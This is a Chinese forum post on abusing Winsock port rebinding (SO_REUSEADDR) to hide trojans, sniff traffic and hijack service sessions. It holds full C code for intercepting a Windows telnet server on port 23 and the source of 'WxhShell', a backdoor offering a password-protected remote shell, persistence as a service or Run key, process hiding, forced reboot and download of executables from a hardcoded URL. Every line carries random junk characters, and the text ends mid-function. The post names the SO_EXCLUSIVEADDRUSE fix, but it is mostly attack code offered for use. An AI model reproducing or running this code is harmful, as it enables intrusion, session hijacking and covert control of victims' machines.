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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: iI&J_Y{1a_  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yC6XO&:g  
yH@W6'.  
  saddr.sin_family = AF_INET; I>b!4?h  
ON] z-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #R'm|En'  
N1+%[Uh9)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Th'6z#h:U  
:hCp@{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 OAR#* ~q  
7p@qzE  
  这意味着什么?意味着可以进行如下的攻击: %R-"5?eTtu  
W32bBzhL  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1[:?oEI  
I[@}+p0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N[ z7<$$  
/ ~w\Npf0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5e6]v2 k  
IF$f^$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $IUT5Gia`  
yzgDdAM  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O-}{%)[ F  
3-Xum*)Y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 bj ZcWYT  
G>d@lt  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [#M^:Q  
bAGQ  
  #include PIsMx-i0  
  #include =| %:d:r  
  #include -[".km  
  #include    m9a(f>C  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8{(;s$H~  
  int main() yL7a*C&  
  { gle_~es'K  
  WORD wVersionRequested; RxjC sjg  
  DWORD ret; R'uM7,7  
  WSADATA wsaData; \%K< S  
  BOOL val; 0 ua.aL'  
  SOCKADDR_IN saddr; "z1\I\ ^  
  SOCKADDR_IN scaddr; )apqL{u:=  
  int err; )F8G q,  
  SOCKET s; 9EIHcUXe  
  SOCKET sc; vxzh|uF  
  int caddsize; ))K3pKyb  
  HANDLE mt; ^%VMp>s  
  DWORD tid;   nNSq6 Cj  
  wVersionRequested = MAKEWORD( 2, 2 ); \/xWsbG\  
  err = WSAStartup( wVersionRequested, &wsaData ); 2E9Cp  
  if ( err != 0 ) { w[S2 ] <  
  printf("error!WSAStartup failed!\n"); <w}YD @(f  
  return -1; N2 wBH+3w  
  } "M3R}<Vt  
  saddr.sin_family = AF_INET; uosFpa  
   \25Rq/&w  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 vSb$gl5H  
!iN=py  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); d OQU#5  
  saddr.sin_port = htons(23); w4\b^iJz  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f R$E*Jd  
  { /. k4Y  
  printf("error!socket failed!\n"); h# c.HtVE  
  return -1; %AwR4"M  
  } suC]  
  val = TRUE; wf)T-]e  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Eaf6rjD  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) H~Xi;[{7  
  { k|(uIU* ]  
  printf("error!setsockopt failed!\n"); F *_g3K!!  
  return -1; 6",S$3q  
  } f02 <u  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; K;a]+9C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8J-$+ ;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :G=N|3  
"g;^R/sfq  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b)"bX}  
  { 9D#"Ey  
  ret=GetLastError(); V^Z"FwWk  
  printf("error!bind failed!\n"); j"{|* _6E_  
  return -1; ?W:YS82  
  } -r)Q|U  
  listen(s,2); fjVGps$ j  
  while(1) 2R66 WK Q  
  { 3J%(2}{y  
  caddsize = sizeof(scaddr); 4E/Q+^?  
  //接受连接请求 aKkL0 D  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); JKN0:/t7 Q  
  if(sc!=INVALID_SOCKET) klmRU@D  
  { vPz$jeA  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); xdGmiHN  
  if(mt==NULL) A\nL(Nd  
  { t}n:!v"|+O  
  printf("Thread Creat Failed!\n"); $$ma1.t"  
  break; Nj4=  
  } -'ePx f  
  } 9y"R,  
  CloseHandle(mt); yAz`n[  
  } 96x$Xl;  
  closesocket(s); | #Z+s-  
  WSACleanup(); sOQF_X(.x  
  return 0; r%QTUuRXC3  
  }   In<L?U?([D  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3 (Bd`=9  
  { =|_:H$94  
  SOCKET ss = (SOCKET)lpParam; -T3 z@k  
  SOCKET sc; E_ #MQ;n  
  unsigned char buf[4096]; ^x8*]Sz#x  
  SOCKADDR_IN saddr; TJjcX?:(  
  long num; +0) s {?  
  DWORD val; 8@ y@}  
  DWORD ret; nQbF~   
  //如果是隐藏端口应用的话,可以在此处加一些判断 @AET.qGC  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   X!#rw= Q  
  saddr.sin_family = AF_INET; ,kS3Ioj  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); M+4>l\   
  saddr.sin_port = htons(23); fl%X>\i/7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {6d)|';%  
  { U-!+Cxjs  
  printf("error!socket failed!\n"); Zt;3HY=y  
  return -1; B'<k*9=Nv8  
  } fP<Tvf  
  val = 100; iG*@(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i8t%v  
  { mNhVLB  
  ret = GetLastError();  &ig6\&1  
  return -1; 9+><:(,  
  } r:.3P  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bWU4lPfP  
  { D&0y0lxI@  
  ret = GetLastError(); TrA&yXXL  
  return -1; l`"i'P   
  } otaB$Bb  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \o}m]v i  
  { A9qbE  
  printf("error!socket connect failed!\n"); v w(X9xa  
  closesocket(sc); ,c }R*\  
  closesocket(ss); #( G>J4E,  
  return -1; aLa{zB  
  } +$_.${uwV  
  while(1) }e[;~g\&  
  { n~`1KC4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zb<YYJ]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 OAx5 LTd  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;QZ}$8D6Q  
  num = recv(ss,buf,4096,0); E&js`24 &  
  if(num>0) @q8h'@sX  
  send(sc,buf,num,0); 4R<bfZ43  
  else if(num==0) y8~/EyY|^  
  break; dZ]['y%  
  num = recv(sc,buf,4096,0); e0rh~@E  
  if(num>0) 0i%r+_E_  
  send(ss,buf,num,0); SbrKNADH%  
  else if(num==0) NmbA~i  
  break; vxN,oa{hf  
  } p@`]9tLP(K  
  closesocket(ss); P[Q3z$I}  
  closesocket(sc); ~\ uI&S5  
  return 0 ; R1A|g =kF  
  } ]dvNUD   
m[l[yUw#  
_4+'@u #  
========================================================== /<"<N<X  
 Y7q=]  
下边附上一个代码,,WXhSHELL B}O M:0  
Xx)PyO  
========================================================== b# v+_7  
e$ pXnMx7  
#include "stdafx.h" {c|{okQ;Q  
'#Yqs/V  
#include <stdio.h> _'OXrT#Q  
#include <string.h> p0r:U< &  
#include <windows.h> kx3?'=0;5  
#include <winsock2.h> :U>[*zE4&  
#include <winsvc.h> yv),>4_6  
#include <urlmon.h> M9*#8>  
:9c[J$R4  
#pragma comment (lib, "Ws2_32.lib") hW~XE{<  
#pragma comment (lib, "urlmon.lib") 0 rge]w.X  
w^/jlddF  
#define MAX_USER   100 // 最大客户端连接数 #Cy9E"lP  
#define BUF_SOCK   200 // sock buffer j*XhBWE?  
#define KEY_BUFF   255 // 输入 buffer c}$C=s5 h}  
l:'\3-2a  
#define REBOOT     0   // 重启 j2dptM3t{  
#define SHUTDOWN   1   // 关机 Wjf,AjL\  
J/T$.*X  
#define DEF_PORT   5000 // 监听端口 <r`^iR)%  
JSf \ApX  
#define REG_LEN     16   // 注册表键长度 B:?MMXB  
#define SVC_LEN     80   // NT服务名长度 u[Ij4h.  
)c; YR}tC  
// 从dll定义API }hoyjzv]L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); PjxZ3O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s2 8t'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "bhF`,V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B_ x?s  
)fGIe rS  
// wxhshell配置信息 agI"Kh]j?  
struct WSCFG { j o+-  
  int ws_port;         // 监听端口 =#z8CFq[O  
  char ws_passstr[REG_LEN]; // 口令 z yh #ygH  
  int ws_autoins;       // 安装标记, 1=yes 0=no -G|?Kl  
  char ws_regname[REG_LEN]; // 注册表键名 ZYMacTeJjg  
  char ws_svcname[REG_LEN]; // 服务名 q$ZmR]p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &N+i3l6`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 eI#b%h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Zb? u'Vm=u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tjId?}\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jeu|9{iTVu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O~udlVn<6  
LtK= nK  
}; m ?)k&{I  
6\BZyry3*  
// default Wxhshell configuration l(~i>iQ 4  
struct WSCFG wscfg={DEF_PORT, ^J]_O_ee$  
    "xuhuanlingzhe", Cu\6VnW_6  
    1, (gQr?K  
    "Wxhshell", $yoIz.?V  
    "Wxhshell", &%=]lP]  
            "WxhShell Service", *mVQN1  
    "Wrsky Windows CmdShell Service", :4\=xGiY  
    "Please Input Your Password: ", exP:lO_0n  
  1, 4S 7#B  
  "http://www.wrsky.com/wxhshell.exe", aS $ J `  
  "Wxhshell.exe" q RbU@o.3  
    }; 4DTT/ER'qA  
 WBd$#V3  
// 消息定义模块 uH.1'bR?a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .0a,%o 8n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6o cTQ}=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .Xm?tC<   
char *msg_ws_ext="\n\rExit."; K'@lXA:  
char *msg_ws_end="\n\rQuit."; hN"cXz"/  
char *msg_ws_boot="\n\rReboot..."; 3!*qB-d  
char *msg_ws_poff="\n\rShutdown..."; +qiI;C_P\  
char *msg_ws_down="\n\rSave to "; #-<n@qNg[  
n@PXC8}  
char *msg_ws_err="\n\rErr!"; f [DZ  
char *msg_ws_ok="\n\rOK!"; *u)#yEJ)  
{yCE>F\  
char ExeFile[MAX_PATH]; Ij{ K\{y  
int nUser = 0; +YFAZv7`  
HANDLE handles[MAX_USER]; }fqy vI  
int OsIsNt; Vm8rQFCp74  
\b6vu^;p  
SERVICE_STATUS       serviceStatus; $p)e.ZMgE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \; FE@  
pH/_C0e`7  
// 函数声明 8bf~uHAr  
int Install(void); N2Q b+  
int Uninstall(void); :RG=3T[  
int DownloadFile(char *sURL, SOCKET wsh); z[?&bF<|  
int Boot(int flag); G|eJac>  
void HideProc(void); G5T(  
int GetOsVer(void); p`=v$_]?(  
int Wxhshell(SOCKET wsl); 9Z^\b)x  
void TalkWithClient(void *cs); k )=Gyv<  
int CmdShell(SOCKET sock); d>1cKmH!  
int StartFromService(void); i%3q*:A]2  
int StartWxhshell(LPSTR lpCmdLine); q}r{%ypf  
'mm~+hp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Wi"3kps q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); tW[dJKw  
%c-T Gr,  
// 数据结构和表定义 `#c36  
SERVICE_TABLE_ENTRY DispatchTable[] = t^|GcU]  
{ .:(T}\]R  
{wscfg.ws_svcname, NTServiceMain}, PZYVLUw `  
{NULL, NULL} i$jzn ga  
}; 6BY(Y(z  
9.^2CM6l  
// 自我安装 m> YjV>5  
int Install(void) k8S`44vj  
{ y py  
  char svExeFile[MAX_PATH]; =}OcMM`f  
  HKEY key; `7$Sga6M  
  strcpy(svExeFile,ExeFile); h}n?4B~Gi  
ZQI;b0C  
// 如果是win9x系统,修改注册表设为自启动 +]$c+!khj  
if(!OsIsNt) { <HXzcWQ$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1F]jy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4V7=VZ, @3  
  RegCloseKey(key); T%TfkQ__d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >^bSjE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,\'E<O2T  
  RegCloseKey(key); $X ]t}=  
  return 0; go!jx6~;x  
    } >mUSRf4  
  } pdq5EUdS  
} "Gc\"'^r  
else { J_}Rsp ED  
iVZ X  
// 如果是NT以上系统,安装为系统服务 o! Y61S(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xWxgv;Ah  
if (schSCManager!=0) Rl[SqmnI)@  
{ kR]AW60OE  
  SC_HANDLE schService = CreateService 2=`}:&0l  
  ( t+IrQf,P[  
  schSCManager, 3( o~|%  
  wscfg.ws_svcname, V:h3F7  
  wscfg.ws_svcdisp, g..&x]aS(  
  SERVICE_ALL_ACCESS, qE@H~&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -40s  
  SERVICE_AUTO_START, ::k cV'*  
  SERVICE_ERROR_NORMAL, y*vg9`$k  
  svExeFile, X(qs]:  
  NULL, ]\6*2E{1m  
  NULL, /:+MUw7~  
  NULL, z"$huE>P6  
  NULL, [n2)6B\/  
  NULL = 6.i.(L_S  
  ); WJBwo%J  
  if (schService!=0) z:W|GDD1  
  { ,#8H9<O9t  
  CloseServiceHandle(schService); HzZ.q2Zz%  
  CloseServiceHandle(schSCManager); kB]?95>Wx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `^'0__<M  
  strcat(svExeFile,wscfg.ws_svcname); 9ohO-t$XkY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ot; ]?M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SS7C|*-Zd  
  RegCloseKey(key); D22jWm2  
  return 0; UYkuz  
    } ur JR[$p  
  } VX,@Gp_'m  
  CloseServiceHandle(schSCManager); CJf4b:SY@  
} a'|/=$  
} n|Gw?@CU7  
(Nn)_caVb  
return 1; <qjolMO`  
} '~n=<Y  
-}KW"#9c  
// 自我卸载 _[{oK G^u  
int Uninstall(void) Ch7&9NW  
{ ds:&{~7L<T  
  HKEY key; LR% P\~  
]~kgsI[E  
if(!OsIsNt) { ?(E?oJ)(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jU!ibs}R3  
  RegDeleteValue(key,wscfg.ws_regname); P%y$e0  
  RegCloseKey(key); 6T-iBJT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <I.{meDg  
  RegDeleteValue(key,wscfg.ws_regname); 3 adF) mh  
  RegCloseKey(key); %Zi}sm1t  
  return 0; 6'\VPjt  
  } wd<jh,Y  
} KD73Aw  
} 2^ kK2D$o  
else { I!Uj~jV  
Dy^A??A[E}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U{ ZKxE  
if (schSCManager!=0) (Z#j^}G_l  
{ {9|S,<9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q'c[yu  
  if (schService!=0) 5Tiap8x+<  
  { 0khAi|PY  
  if(DeleteService(schService)!=0) { KYC<*1k  
  CloseServiceHandle(schService); U{PFeR,Uk  
  CloseServiceHandle(schSCManager); 8c'5P  
  return 0; R/ 3#(5  
  } H':0  
  CloseServiceHandle(schService); bw*D!mm,  
  } C`b)}dY  
  CloseServiceHandle(schSCManager); gM_MK8py  
} }-%:!*bLj  
} i?IV"*Ob1N  
mL3 Q  
return 1; 3Nk )  
} U~_G *0  
?Suv.!wfLl  
// 从指定url下载文件 E#/vgm=W;  
int DownloadFile(char *sURL, SOCKET wsh) I^!c1S  
{ tN-B`d 1  
  HRESULT hr; 7-2,|(Xg  
char seps[]= "/"; <-N7Skkk!  
char *token; &D#B"XI  
char *file; yYPFk  
char myURL[MAX_PATH]; g{^(EZ,  
char myFILE[MAX_PATH]; 4S*7*ak{  
f\c%G=y  
strcpy(myURL,sURL); _2rxDd1#.  
  token=strtok(myURL,seps); Rq,Fp/  
  while(token!=NULL) dZ"d`M>o6  
  { DP=\FG"}x  
    file=token; &C.m*^`^  
  token=strtok(NULL,seps); ?oulQR6:  
  } M<cm]  
%lqrq<Xn  
GetCurrentDirectory(MAX_PATH,myFILE); c2Up<#t  
strcat(myFILE, "\\"); U'Fc\M5l/l  
strcat(myFILE, file); &OP =O*B  
  send(wsh,myFILE,strlen(myFILE),0); HVaKy+RU  
send(wsh,"...",3,0); 6d%)MEM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MVZ9x%  
  if(hr==S_OK) K?X 6@u|h  
return 0; R\:t 73  
else Rv@( [rn+  
return 1; A =l1_8,`h  
SS"Z>talw  
} h f9yK6  
N3o kN8d  
// 系统电源模块 {14sI*b16  
int Boot(int flag) CV7%ud]E  
{ A\T9>z^k  
  HANDLE hToken; 7,,#f&jP  
  TOKEN_PRIVILEGES tkp; ~ _W>ND  
@j+X>TD  
  if(OsIsNt) { 'Z`fZ5q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p5 )+R/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )ioIn`g^-  
    tkp.PrivilegeCount = 1; kf2e-)uUs  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x(bM   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (5&l<u"K~  
if(flag==REBOOT) { &E$:^a4d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) of>}fJ_p  
  return 0; H'wh0K(  
} 6I~{~YvB"  
else { H <ugc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SCKpW#2dP{  
  return 0; hsHtLH+@  
} n8 e4`-cY  
  } .9KW| (uW  
  else { Nj|~3 *KO  
if(flag==REBOOT) { z+F:_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O:Ob{k  
  return 0; w"?E=RS  
} l527>7 eT  
else { FN295:Iuw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P<s:dH"  
  return 0; 8`;3`lZ  
} 2Wq/_:  
} u}BN)%`B  
hP26Bb1  
return 1; atWB*kqI  
} 6Rc%P)6  
C;.+ kE  
// win9x进程隐藏模块 S[L2vM)  
void HideProc(void) OCYC Dn  
{ ybgAyJ{J<  
AAld2"r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IX y  $  
  if ( hKernel != NULL ) 0fU^  
  { X]AbBzy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); } P/ x@N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "Go)t + -  
    FreeLibrary(hKernel); R22P ol  
  } U&<w{cuA  
}doJ= lc  
return; =OU]<%  
} wO3K2I]>0  
/e4#D H  
// 获取操作系统版本 &4-rDR,  
int GetOsVer(void) 7z4u?>pne*  
{ 6N]V.;0_5  
  OSVERSIONINFO winfo; 1[r;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x:WxEw>R  
  GetVersionEx(&winfo); +jpC%o}C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QW1d&Gb.(  
  return 1; b=j]tb,  
  else O.~@V(7ah  
  return 0; d*TpHLm  
} m1(cN%DBd  
NK0hT,_  
// 客户端句柄模块 bLpGrGJs  
int Wxhshell(SOCKET wsl) ?{M!syD<  
{ HOY9{>E}z  
  SOCKET wsh; Pw_[{LL  
  struct sockaddr_in client; *,=WaODO%  
  DWORD myID; |`yzH$,F  
mQ]wLPP{1  
  while(nUser<MAX_USER) fG\]&LFBU  
{ IfGQeynj  
  int nSize=sizeof(client); 9Ucn 6[W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'L0{Ed+9  
  if(wsh==INVALID_SOCKET) return 1; $S0eERg a  
C6`<SW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !^*I?9P  
if(handles[nUser]==0) <r{ )*]#l  
  closesocket(wsh); k(v8zDq*  
else * 5Y.9g3)Q  
  nUser++; KU}HVM{  
  } 2 !^[x~t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `X7ns?  
M1f ^Lx  
  return 0; StuDtY  
} I=3e@aTZ,  
uY;2tZldf=  
// 关闭 socket {%;KkC8=R  
void CloseIt(SOCKET wsh) Ck0R%|  
{ Z 7M%}V%  
closesocket(wsh); $&|*v1rH  
nUser--; { !C';^  
ExitThread(0); &G>EBKn\2`  
} @#%rTKD9F  
p 8q9:Tz  
// 客户端请求句柄 y`EcBf  
void TalkWithClient(void *cs) Gv,0{DVX<  
{ ]'UO]i/  
2eBA&t  
  SOCKET wsh=(SOCKET)cs; c=T^)~$$  
  char pwd[SVC_LEN]; o(/(`/  
  char cmd[KEY_BUFF]; 3e g<)  
char chr[1]; $I7/FZP  
int i,j; 3 T3p[q4  
{&Fh$H!  
  while (nUser < MAX_USER) { wZECG-jr/  
S)0bu(a`Z,  
if(wscfg.ws_passstr) { t;@VsQ8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  Y@S?0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /WVnyz0  
  //ZeroMemory(pwd,KEY_BUFF); |WB<yA1  
      i=0; MKdBqnM(F  
  while(i<SVC_LEN) { g& *pk5V>  
X]Emz"   
  // 设置超时 3?vasL  
  fd_set FdRead; QJ ueU%|  
  struct timeval TimeOut; <~}t;ji  
  FD_ZERO(&FdRead); qG/a5i  
  FD_SET(wsh,&FdRead); t/bDDV"  
  TimeOut.tv_sec=8; ^#R-_I  
  TimeOut.tv_usec=0; n NI V(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _ID2yJ   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Oifu ?f<r  
X"W%(x`w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PomX@N}1  
  pwd=chr[0]; 6?0 ^U 9  
  if(chr[0]==0xd || chr[0]==0xa) { 22|f!la8n  
  pwd=0; ~7!J/LHg  
  break; %3i/PIN  
  } =De%]]>   
  i++; g]V}azLr  
    } 1@Bq-2OD4  
dyjzF`H  
  // 如果是非法用户,关闭 socket W&]grG2/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z3G>DF:$  
} PiZt?r?5w|  
hgE!) UE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1WPDMLuN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }`$:3mb&f  
,sk;|OAI  
while(1) { '?5=j1  
*0y+=,"QU  
  ZeroMemory(cmd,KEY_BUFF); ? kew[oZ  
6-#f1D 6  
      // 自动支持客户端 telnet标准   OxqbHe  
  j=0; :YB:)wV,P  
  while(j<KEY_BUFF) { ML0o :8Bd\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e:V(kzAY;  
  cmd[j]=chr[0]; ^\cB&<h  
  if(chr[0]==0xa || chr[0]==0xd) { r+;C}[E  
  cmd[j]=0; f{lg{gA(  
  break; LS?hb)7  
  } Um\Nd#=:  
  j++; kF~}htv.=  
    } qyc:;3?wm  
GD|uU  
  // 下载文件 )vsiX}3  
  if(strstr(cmd,"http://")) { @.-g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,:-S<]fS{_  
  if(DownloadFile(cmd,wsh)) (^eSm]<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); IR>^U  
  else .F.4fk  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l_u1 ~K  
  } |nXs'TO'O  
  else { _"J-P={=  
mY.[AIB  
    switch(cmd[0]) { sRo%=7Z  
  [S":~3^B6  
  // 帮助 >E?626*  
  case '?': { DJrE[wI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [Y*p I&f  
    break; d>NElug  
  } r M'snW)  
  // 安装 #:{PAt  
  case 'i': { UioLu90 P  
    if(Install()) GfY!~J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1bd(JL  
    else ro6peUL*2`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uKh),@JV  
    break; ]BCH9%zLj  
    } R |8)iW^  
  // 卸载 Hbx=vLQ6  
  case 'r': { b}o^ ?NtA  
    if(Uninstall()) 6+FmYp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1d|+7  
    else 1I KDp]SN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A;w,m{9<  
    break; 'HkV_d[li  
    } cy?u *  
  // 显示 wxhshell 所在路径 Revc :m1o  
  case 'p': { M'HmVg4'  
    char svExeFile[MAX_PATH]; uFb&WIo1  
    strcpy(svExeFile,"\n\r"); _i:yI-jA  
      strcat(svExeFile,ExeFile); O~-#>a  
        send(wsh,svExeFile,strlen(svExeFile),0); j,Qp*b#Qo  
    break; 8@Xq ,J  
    } ve=oH;zf  
  // 重启 Gs.id^Sf  
  case 'b': { FbJlyWND  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +D`IcR-x  
    if(Boot(REBOOT)) jRXByi=9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d~O\zLQ;  
    else { #=5/D@  
    closesocket(wsh); \Q?r+VZ  
    ExitThread(0); A"#Gg7]tl'  
    } +Ld4 e]  
    break; zhKb|SV  
    } cW26TtU(  
  // 关机 }!(cm;XA"  
  case 'd': { 0~R0)Q,  
